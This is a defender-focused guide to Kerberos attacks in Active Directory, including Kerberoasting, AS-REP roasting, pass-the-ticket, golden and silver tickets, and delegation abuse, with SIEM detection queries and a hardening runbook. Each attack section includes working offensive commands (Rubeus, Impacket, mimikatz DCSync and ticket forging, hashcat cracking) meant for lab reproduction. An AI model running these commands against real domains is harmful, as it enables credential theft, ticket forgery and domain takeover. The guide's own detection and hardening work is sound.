Kerberos Abuse in Active Directory: Attacks, Detection & Hardening

Modern enterprise authentication still runs on Kerberos. Inside every Active Directory (AD) forest, Kerberos is the trust mechanism that validates users, hands out access to services, and underwrites nearly every administrative action a domain performs. Microsoft Entra ID, federation, and modern SSO all sit on top of it, they do not replace it.

Kerberos was meant to be an improvement over NTLM: no plaintext credentials on the wire, no password hash sent to every service, and short-lived tickets instead of reusable secrets. It delivered on that. But the same design that makes Kerberos convenient, a single domain-wide key that signs every ticket, service accounts whose passwords double as encryption keys, and delegation features that let one service act as you, is exactly what attackers now weaponise. In a majority of modern ransomware and advanced-persistent-threat (APT) intrusions, the path from initial foothold to domain-wide control runs straight through Kerberos.

This guide is written from the defender's chair. For every attack it covers what the adversary actually does (with the real commands), what you will see in your logs, a detection you can deploy today, and the hardening that removes the technique rather than just alerting on it. The offensive commands are here so you can reproduce them in a lab you own or an engagement you are authorised to run you cannot detect what you have never watched happen.

Why Kerberos Is the Prize, Not Just a Protocol

Active Directory relies on Kerberos for user authentication, service access, delegation, cross-forest trust, and administrative operations. Because tickets are trusted by default across the domain, the whole system is only as strong as a handful of secrets: the krbtgt account key, the keys of privileged service accounts, and the memory of any host where privileged tickets land.

Compromise those and an attacker can impersonate privileged users, move laterally across systems, persist for months, and bypass password resets and much of your endpoint tooling. In hybrid estates the blast radius extends past the domain: a stolen on-premises identity becomes a stepping stone into Entra ID, federation, and SaaS, a chain covered in Active Directory security in hybrid enterprise environments and, from the identity-token angle, in weaponizing OAuth misconfigurations.

The uncomfortable summary: for a modern attacker, compromising Kerberos often means compromising organisational trust itself. That is why identity, not the perimeter, is now the boundary worth defending hardest.

How Kerberos Authentication Actually Works

You cannot reason about the attacks without a working model of the exchange. Kerberos in Active Directory is a three-party protocol: the client the Key Distribution Center (KDC) hosted on every Domain Controller, and the service the client wants to reach.

Core Components

Key Distribution Center (KDC)

The KDC runs on every Domain Controller and performs two roles: the Authentication Service (AS) which validates identity and issues the Ticket Granting Ticket, and the Ticket Granting Service (TGS) which issues per-service tickets. Both roles are backed by the domain's krbtgt account, a single account whose key seals every TGT in the domain.

Ticket Granting Ticket (TGT)

On logon the client sends an AS-REQ containing a timestamp encrypted with a key derived from the user's password (this is pre-authentication). The KDC decrypts it to prove the user knows the password, then returns a TGT encrypted with the krbtgt key. The TGT is the user's proof that they have already authenticated, so they need not resend credentials for every service.

Service Tickets (TGS Tickets)

To reach a service the client presents its TGT and names the target's Service Principal Name (SPN). The KDC returns a service ticket encrypted with the target service account's own key. The client presents that ticket to the service (AP-REQ); the service decrypts it with its key and reads the authorisation data (the PAC) inside. This detail, the service ticket is sealed with the service account's password-derived key, is the root of Kerberoasting.

Service Principal Names (SPNs)

SPNs uniquely identify services in AD (MSSQLSvc/db01.corp.local:1433 HTTP/intranet CIFS/fs01 HOST/…). Any authenticated user can enumerate them over LDAP, and any authenticated user can request a ticket for one, which is why SPN-bound service accounts are the softest target in most domains.

The Kerberos Attack Matrix

Before the deep dives, here is the whole landscape on one screen, technique, where it sits in the kill chain, the privilege it needs, the ATT&CK ID, the primary Windows event, and the control that actually kills it.

Technique	Needs	ATT&CK	Key event(s)	Control that removes it
Kerberoasting	Any domain user	T1558.003	4769 (etype 0x17)	gMSA/dMSA + AES-only + 25+ char passwords
AS-REP Roasting	Unauthenticated / any user	T1558.004	4768 (preauth type 0)	Require pre-auth on every account
Pass-the-Ticket	Local admin on a host	T1550.003	4624 / 4648 anomalies	Credential Guard + Protected Users + tiering
Overpass-the-Hash	NT/AES key of a user	T1550.002 / T1558	4768 from odd host	Credential Guard, disable RC4
Silver Ticket	Service account key	T1558.002	Service 4624 w/o DC 4769	gMSA + AES + rotate service keys
Golden Ticket	krbtgt key	T1558.001	4769 w/o prior 4768	Protect DCs; double krbtgt reset
Unconstrained delegation abuse	Admin on delegated host + coercion	T1558 / T1187	4769 for DC$; 4741/5136	Remove unconstrained; Protected Users
Constrained / RBCD abuse	Write to a computer object	T1134.001 / T1558	5136 on msDS-Allowed*	Lock down object DACLs; MAQ = 0
Shadow Credentials (PKINIT)	Write to msDS-KeyCredentialLink	T1556 / T1558	5136 on the attribute	ADCS hardening; DACL review

Kerberoasting

Kerberoasting is still the most common and most effective Kerberos abuse in real environments, because it turns a normal, low-privilege user into an offline password-cracking oracle without touching a Domain Controller's alarm bells.

MITRE ATT&CK: T1558.003, Kerberoasting.

How It Works

Every service account with an SPN can have a service ticket requested for it by any authenticated user. That ticket is encrypted with the service account's password-derived key. If the account still supports RC4, the encrypted blob is effectively the NT hash used as a key over known plaintext, crackable offline at billions of guesses per second on a GPU, with no lockout, no DC interaction after the initial request, and no privilege required.

Typical workflow: enumerate SPNs → request TGS tickets (forcing RC4 where possible) → extract the encrypted portion → crack offline → reuse the recovered plaintext, which is frequently a privileged service account.

Attacker's Commands

From a domain-joined host with any user context, native PowerShell alone enumerates targets, no tooling required, which is what makes early detection hard:

# Enumerate every user account that carries an SPN (the roastable set)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
  Select-Object SamAccountName, ServicePrincipalName

Requesting and exporting the tickets is where tooling appears. With Rubeus on Windows:

# Request tickets for all roastable accounts, prefer RC4, output hashcat format
Rubeus.exe kerberoast /rc4opsec /format:hashcat /outfile:roast.txt

Or with Impacket from a foothold that can reach the DC over the network:

# GetUserSPNs.py, request service tickets and dump them in crackable form
GetUserSPNs.py corp.local/lowpriv:'Password1' -dc-ip 10.0.0.10 -request \
  -outputfile roast.txt

Then crack offline, the domain never sees this step:

# hashcat mode 13100 = Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 -a 0 roast.txt rockyou.txt -r best64.rule

What Defenders See & How to Detect It

The signal is Event ID 4769 (Kerberos service ticket requested) on Domain Controllers. Individually these are routine, every file-share access generates one. The tells are: ticket encryption type 0x17 (RC4) in an environment that should be AES, a single account requesting tickets for many distinct SPNs in a short window, and requests from workstations that have no business touching those services.

A Splunk starting point (tune the threshold to your baseline):

index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17
  Service_Name!="krbtgt" Account_Name!="*$"
| bucket _time span=10m
| stats dc(Service_Name) as spn_count values(Service_Name) as services
    by _time, Account_Name, Client_Address
| where spn_count > 5

The same idea as a Microsoft Sentinel / KQL rule against SecurityEvent:

SecurityEvent
| where EventID == 4769 and TicketEncryptionType == "0x17"
| where ServiceName !endswith "$" and ServiceName != "krbtgt"
| summarize SPNs = dcount(ServiceName), Services = make_set(ServiceName)
    by bin(TimeGenerated, 10m), Account, IpAddress
| where SPNs > 5

If you run Wazuh, key on the same 4769 + 0x17 pairing in the Windows channel and alert on RC4 service-ticket requests as an anomaly once you have migrated services to AES, after migration, an RC4 4769 for a service account should be rare enough to page on.

Hardening

• Migrate service accounts to Group Managed Service Accounts (gMSA) or, on Server 2025, delegated MSAs (dMSA). Their 120+ character passwords are managed by AD and rotate automatically, uncrackable in any realistic timeframe.
• Turn off RC4. Set msDS-SupportedEncryptionTypes to AES-only on service accounts, then domain-wide, once you have confirmed nothing legacy depends on RC4 (watch 4769 etypes during a soak period first).
• Give any remaining human-managed service account a 25+ character random passphrase and remove the SPN the moment the service is retired.
• Audit SPNs regularly for stale, duplicate, and over-privileged service identities. This is exactly the sweep the read-only audit scripts below automate.

AS-REP Roasting

AS-REP Roasting is Kerberoasting's cousin: it targets accounts configured without Kerberos pre-authentication, and unlike Kerberoasting it can often be run without any valid domain credentials at all.

MITRE ATT&CK: T1558.004, AS-REP Roasting.

How It Works

Pre-authentication is what proves you know the password before the KDC issues anything. When an account has DONT_REQ_PREAUTH set (userAccountControl bit 0x400000), the KDC will return an AS-REP to anyone who asks, and part of that response is encrypted with the account's password key. Capture it, crack it offline. These accounts exist because someone once needed compatibility with a legacy Unix/Java Kerberos client and never reverted the setting.

Attacker's Commands

# Find accounts with pre-auth disabled, visible to any authenticated user
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Impacket GetNPUsers.py, roast without credentials if you have a user list,
# or authenticated to enumerate automatically
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -format hashcat \
  -outputfile asrep.txt

# hashcat mode 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep.txt rockyou.txt

Detection

Watch Event ID 4768 (AS-REQ / TGT requested) where the pre-authentication type is 0 that is a ticket issued without pre-auth. In a healthy modern domain this should be essentially zero. As with Kerberoasting, an RC4 etype on that 4768 raises the priority. A short KQL:

SecurityEvent
| where EventID == 4768 and PreAuthType == "0"
| project TimeGenerated, Account, IpAddress, TicketEncryptionType

Hardening

Enumerate every account with pre-auth disabled and re-enable it unless a documented, still-live integration requires otherwise. Add pre-auth state to your quarterly identity review, and place any account that genuinely cannot use pre-auth into the Protected Users group and give it a long random password. There is almost never a good reason for this flag in 2026.

Pass-the-Ticket & Overpass-the-Hash

Once an attacker has administrative rights on a single host, the game shifts from cracking passwords to stealing tickets and keys directly out of memory, and reusing them elsewhere.

MITRE ATT&CK: T1550.003, Pass-the-Ticket T1550.002, Pass-the-Hash / Overpass-the-Hash.

How It Works

Windows caches Kerberos tickets in LSASS memory. With local admin (and without Credential Guard), an attacker can dump every TGT and service ticket present on the box, including those of any admin who logged on, ran a scheduled task, or left a session behind. Pass-the-Ticket injects a stolen ticket into the attacker's own session and reuses it. Overpass-the-Hash (a.k.a. Pass-the-Key) is the inverse: given a user's NT or AES key, request a brand-new, fully legitimate TGT for them. Neither needs the plaintext password, and both frequently sail past controls that assume MFA was the hard part, the ticket represents an already-authenticated session.

Attacker's Commands

# mimikatz, list and export tickets from LSASS, then inject one
privilege::debug
sekurlsa::tickets /export
kerberos::ptt [0;abc123]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi

# Rubeus, overpass-the-hash: turn a stolen AES256 key into a fresh TGT
Rubeus.exe asktgt /user:svc_sql /aes256:<key> /ptt

Detection

This is genuinely hard, because reused tickets are valid. Honest detection engineering here is behavioural, not signature-based: correlate 4624 (logon) and 4648 (explicit-credential logon) for anomalies, the same account authenticating from two hosts in geographically or temporally impossible ways, privileged logons from workstations that never host admins, or a TGT lifetime/renewal pattern inconsistent with your policy. Overpass-the-hash often surfaces as a 4768 from a host that has no business requesting that user's TGT. Feed these into your SOC's baseline the way the SOC-failure article argues: the win is entity behaviour, not another IOC list.

Hardening

• Credential Guard isolates secrets in a VBS enclave so LSASS dumping returns nothing usable. This is the single highest-impact control against ticket and hash theft on modern Windows.
• Protected Users group forces AES, blocks NTLM/RC4/delegation for its members, and shortens TGT lifetime, put every Tier 0 and Tier 1 admin in it.
• Tiered administration (below) stops a stolen ticket from being useful anywhere that matters.
• Run LSASS as a protected process (RunAsPPL) and enforce it, so unsigned tools cannot open its memory.

Golden Ticket Attacks

A Golden Ticket is the endgame: a forged TGT that lets the holder become anyone for as long as they like, largely independent of password resets.

MITRE ATT&CK: T1558.001, Golden Ticket.

How It Works

Because every TGT is sealed with the krbtgt account's key, anyone holding that key can forge a TGT from scratch, arbitrary username, arbitrary group membership (including Domain Admins), arbitrary lifetime. The KDC will honour it because it validates the signature, not the story. Obtaining the krbtgt key normally requires DCSync rights or a Domain Controller compromise, so a Golden Ticket is usually a persistence and re-entry mechanism after initial domain dominance, it survives user password resets and often survives incomplete remediation.

Attacker's Commands

# Step 1: extract the krbtgt hash via DCSync (needs replication rights)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Step 2: forge a TGT as a non-existent "admin" with Domain Admin rights
mimikatz # kerberos::golden /user:pwned /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /id:500 /groups:512 /ptt

Detection

Look for a TGS request (4769) with no preceding AS-REQ (4768) for that account, a legitimate session always starts with a 4768, but a forged TGT skips it. Other tells: anomalous ticket lifetimes (attackers often forge 10-year tickets), a username in the ticket that does not exist in AD, or a mismatch between the account name and its RID. Modern forgers (Diamond and Sapphire Tickets) evade the lifetime and "account doesn't exist" tells by modifying a real ticket instead of fabricating one, so do not rely on any single indicator, this is a case for correlation and for treating krbtgt exposure as the real detection boundary.

Hardening & Response

Treat any suspected krbtgt compromise as a Tier 0 emergency and a probable full-domain compromise. Remediation requires resetting the krbtgt password twice with a full replication cycle (and more than the maximum ticket lifetime, default 10 hours) between the two resets, the account keeps two key versions, so a single reset leaves forged tickets valid. Microsoft's guidance and the community Reset-KrbtgtKeyInteractive.ps1 script exist precisely so you do not improvise this under pressure. Prevention is DC hardening, minimising who holds DCSync/replication rights, and monitoring 4662 for replication grants.

Silver Ticket Attacks

Where a Golden Ticket forges the domain-wide TGT, a Silver Ticket forges a single service ticket, quieter, narrower, and often completely invisible to the Domain Controller.

MITRE ATT&CK: T1558.002, Silver Ticket.

How It Works & Why It's Quiet

A service ticket is sealed with the target service account's key, not krbtgt. So an attacker who has that one service account's key (from Kerberoasting, from a host compromise, or from a gMSA read) can forge a service ticket for that service directly. Recall step 5 of the exchange diagram: the service validates the ticket locally and never contacts the KDC. That means no 4769 is generated on any Domain Controller your central Kerberos telemetry sees nothing.

Detection

Because the DC is bypassed, detection moves to the service host: a logon event (4624) for a service with no corresponding service-ticket request (4769) on any DC in the same window is the classic Silver Ticket signature. This requires correlating member-server security logs against DC logs, which is exactly why service members must forward their logs centrally, not just Domain Controllers.

Hardening

Same root cause, same fix as Kerberoasting: gMSA + AES-only + rotation makes the service key unknowable and short-lived, which removes the forging material. Enforce PAC validation where supported, and put service hosts under the same log-forwarding regime as your DCs.

Kerberos Delegation Abuse

Delegation lets a service authenticate to a second service on your behalf the mechanism behind a web front-end reaching a back-end database as the calling user. Operationally useful; a rich source of privilege-escalation paths when misconfigured.

Unconstrained Delegation

The most dangerous model. A host trusted for unconstrained delegation caches the full TGT of every user who authenticates to it. An attacker who compromises that host, then coerces a Domain Controller to authenticate to it (via the printer bug or PetitPotam-style coercion, T1187), captures the DC's own TGT, and with it, DCSync and game over. Outside Domain Controllers themselves, unconstrained delegation should not exist in your domain.

Resource-Based Constrained Delegation (RBCD)

RBCD is configured on the target object via msDS-AllowedToActOnBehalfOfOtherIdentity. If an attacker can write to a computer object's DACL, they can point RBCD at a machine account they control, then use S4U2Self/S4U2Proxy to impersonate any user, including a domain admin, to that computer. Because the default ms-DS-MachineAccountQuota lets any user join 10 machine accounts, the attacker can even manufacture the controlled account. Example chain:

# Attacker controls a machine account and has write over target TARGET$
# 1. Point RBCD from TARGET$ to the controlled account
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  corp.local/lowpriv:'Password1'
# 2. Impersonate an admin to TARGET via S4U
getST.py -spn cifs/target.corp.local -impersonate Administrator \
  -dc-ip 10.0.0.10 corp.local/EVIL$:'MachinePwd'

Detection & Hardening

RBCD and Shadow-Credential attacks write to directory objects, so Event ID 5136 (directory object modified) on msDS-AllowedToActOnBehalfOfOtherIdentity msDS-AllowedToDelegateTo or msDS-KeyCredentialLink is your highest-fidelity signal, almost no routine process rewrites these. Unconstrained-delegation abuse shows up as a DC machine account (DC01$) requesting tickets in unusual places, preceded by coercion traffic. Hardening:

• Remove unconstrained delegation everywhere except DCs; migrate anything that needs it to constrained or RBCD.
• Mark Tier 0 accounts "Account is sensitive and cannot be delegated" and add them to Protected Users, so their tickets can never be delegated.
• Set ms-DS-MachineAccountQuota to 0 so ordinary users cannot create the machine accounts these attacks rely on.
• Audit computer- and user-object DACLs for unexpected write rights, map them with BloodHound before an attacker does.

Where This Meets the Cloud

Kerberos abuse rarely stays on-premises. A compromised on-prem identity is the launch point into Entra ID, and attackers now chain Kerberos abuse with token theft, browser-session hijacking, and OAuth consent abuse to cross into SaaS and cloud administration. The Entra Connect / Seamless SSO AZUREADSSOACC$ computer account is itself a Kerberos object whose key, if stolen, enables Silver-Ticket-style forging of cloud-bound tickets. Treat your sync and federation servers as Tier 0, and read the on-prem-to-cloud escalation path in full in Active Directory security in hybrid enterprise environments.

A SOC Detection & Threat-Hunting Strategy

Effective Kerberos defence is behavioural, not signature-only. Concretely, make sure you are collecting and correlating:

The telemetry that actually matters

• 4768 / 4769 / 4770 / 4771 TGT and service-ticket issuance, renewal, and pre-auth failures. Retain the encryption type and pre-auth type fields; most detections above key on them.
• 4624 / 4625 / 4648 / 4672 logon, failed logon, explicit-credential logon, and special-privileges assignment, for behavioural correlation.
• 4688 with command line, process creation, to catch rubeus mimikatz encoded PowerShell, and credential-dumping tools.
• 5136 / 4662 directory object modifications and directory-service access, to catch RBCD/Shadow-Credential writes and replication-rights grants.
• LDAP query telemetry SharpHound/BloodHound collection generates a burst of directory enumeration that precedes almost every one of these attacks.

Forward these from member servers and workstations not only Domain Controllers, Silver Tickets and delegation abuse live off the DCs. If you took one detection from this article to production, make it the honeypot-SPN account: highest signal, lowest effort.

The Kerberos Hardening Runbook

Prioritised, and sequenced so each step is safe to do after the one before it. This is the defensive core of the article, work top to bottom.

1. Protect Tier 0. Domain Controllers, the krbtgt account, ADCS/PKI, Entra Connect, and federation servers are the crown jewels. Restrict who can log on to them and from where (Privileged Access Workstations), and forward their logs centrally.
2. Implement tiered administration. Tier 0 (DCs, PKI, sync), Tier 1 (servers), Tier 2 (workstations). A credential from one tier must never be usable in a lower one. This single architectural change neutralises most Pass-the-Ticket value.
3. Deploy Credential Guard and RunAsPPL across the estate to stop LSASS ticket and key theft at source.
4. Populate the Protected Users group with every Tier 0/Tier 1 admin, and mark them "sensitive and cannot be delegated."
5. Eliminate weak service accounts. Migrate to gMSA/dMSA, remove unused SPNs, and give any remaining human-managed service account a 25+ character passphrase.
6. Turn off RC4. Soak on 4769 encryption-type data first, then enforce AES-only via msDS-SupportedEncryptionTypes. This alone defangs Kerberoasting, Silver Tickets, and most Golden-Ticket tradecraft.
7. Remove unconstrained delegation outside DCs, set ms-DS-MachineAccountQuota to 0, and audit object DACLs with BloodHound.
8. Re-enable pre-authentication on every account that has it disabled.
9. Rotate krbtgt twice a year (with the replication gap), and reset it as an emergency on any suspected Tier 0 compromise.
10. Instrument detection for every event class in the section above, starting with the honeypot SPN.

Build a Lab Before You Touch Production

Every offensive command here is meant to be run against a domain you own. A minimal detection lab is one Windows Server Domain Controller, one member server, and one workstation, with Sysmon and Windows Event Forwarding shipping to a free Wazuh or Elastic instance. Stand up a deliberately weak service account, Kerberoast it, and watch the 4769 land in your SIEM, then apply the hardening above and confirm the signal disappears. Detections you have personally watched fire are the only ones you will trust at 3 a.m. during a real incident.

References & Further Reading

Primary sources for the techniques and controls above, worth reading in full, not just citing:

• MITRE ATT&CK: T1558, Steal or Forge Kerberos Tickets and its sub-techniques (Kerberoasting, AS-REP Roasting, Golden/Silver Ticket).
• MITRE ATT&CK: T1550.003, Use Alternate Authentication Material: Pass the Ticket.
• Microsoft: New-KrbtgtKeys.ps1 the official, replication-aware double krbtgt reset script referenced in the Golden Ticket response above.
• Group Managed Service Accounts, the Protected Users security group, and Credential Guard are documented on Microsoft Learn, search those exact product names for the current, canonical configuration guidance.

Frequently Asked Questions

What is Kerberoasting in simple terms?

Kerberoasting is an attack where any authenticated Active Directory user requests a Kerberos service ticket for an account that has a Service Principal Name, then cracks that ticket offline to recover the service account's password. It needs no special privileges and generates little noise, which is why it is one of the most common Active Directory attacks. The primary defence is to use Group Managed Service Accounts with AES-only encryption so the password is long, random, and effectively uncrackable.

What is the difference between a Golden Ticket and a Silver Ticket?

A Golden Ticket is a forged Ticket Granting Ticket created with the domain's krbtgt key, granting domain-wide impersonation of any user. A Silver Ticket is a forged service ticket created with a single service account's key, granting access only to that one service, but it is stealthier because the Domain Controller is never contacted and generates no log. Golden Tickets are broader and louder; Silver Tickets are narrower and quieter.

How do you detect Kerberos attacks?

Focus on Windows Security events on Domain Controllers and forwarded from members: 4769 with RC4 encryption type (0x17) for Kerberoasting, 4768 with pre-auth type 0 for AS-REP Roasting, 4769 without a preceding 4768 for Golden Tickets, and 5136 modifications to delegation attributes for RBCD abuse. The highest-signal, lowest-effort detection is a honeypot service account: any ticket request for its SPN is malicious by definition.

How do I stop Kerberoasting?

Migrate service accounts to Group Managed Service Accounts, disable RC4 so only AES tickets are issued, give any remaining manually managed service account a 25+ character random passphrase, and remove SPNs from retired accounts. Add a honeypot SPN account for detection. Together these remove the crackable material rather than just alerting on the attempt.

Why do you have to reset the krbtgt password twice?

The krbtgt account retains its current and previous password (two key versions) so that tickets issued just before a change keep working. A single reset therefore leaves forged Golden Tickets valid against the old key. Resetting twice, with a full replication cycle and more than the maximum ticket lifetime between resets, invalidates every existing TGT, including forged ones.

Final Operational Takeaways

Kerberos remains the most critical, and most abused, authentication system in the enterprise. Its integration into Active Directory and hybrid identity makes it the primary target for ransomware operators, APTs, and insider threats, and the techniques above are not exotic: Kerberoasting and delegation abuse turn up in routine intrusions weekly.

The through-line for defenders is that most of this collapses onto a few controls done properly: kill RC4, manage service-account secrets with gMSA, isolate credentials with Credential Guard and tiering, remove unconstrained delegation, protect the krbtgt key, and instrument the handful of events that actually reveal abuse. Identity is the security boundary now; Kerberos is where that boundary is enforced, and where it is most often broken. Organisations that keep treating Active Directory as legacy plumbing rather than mission-critical security infrastructure will keep losing domains through it.

---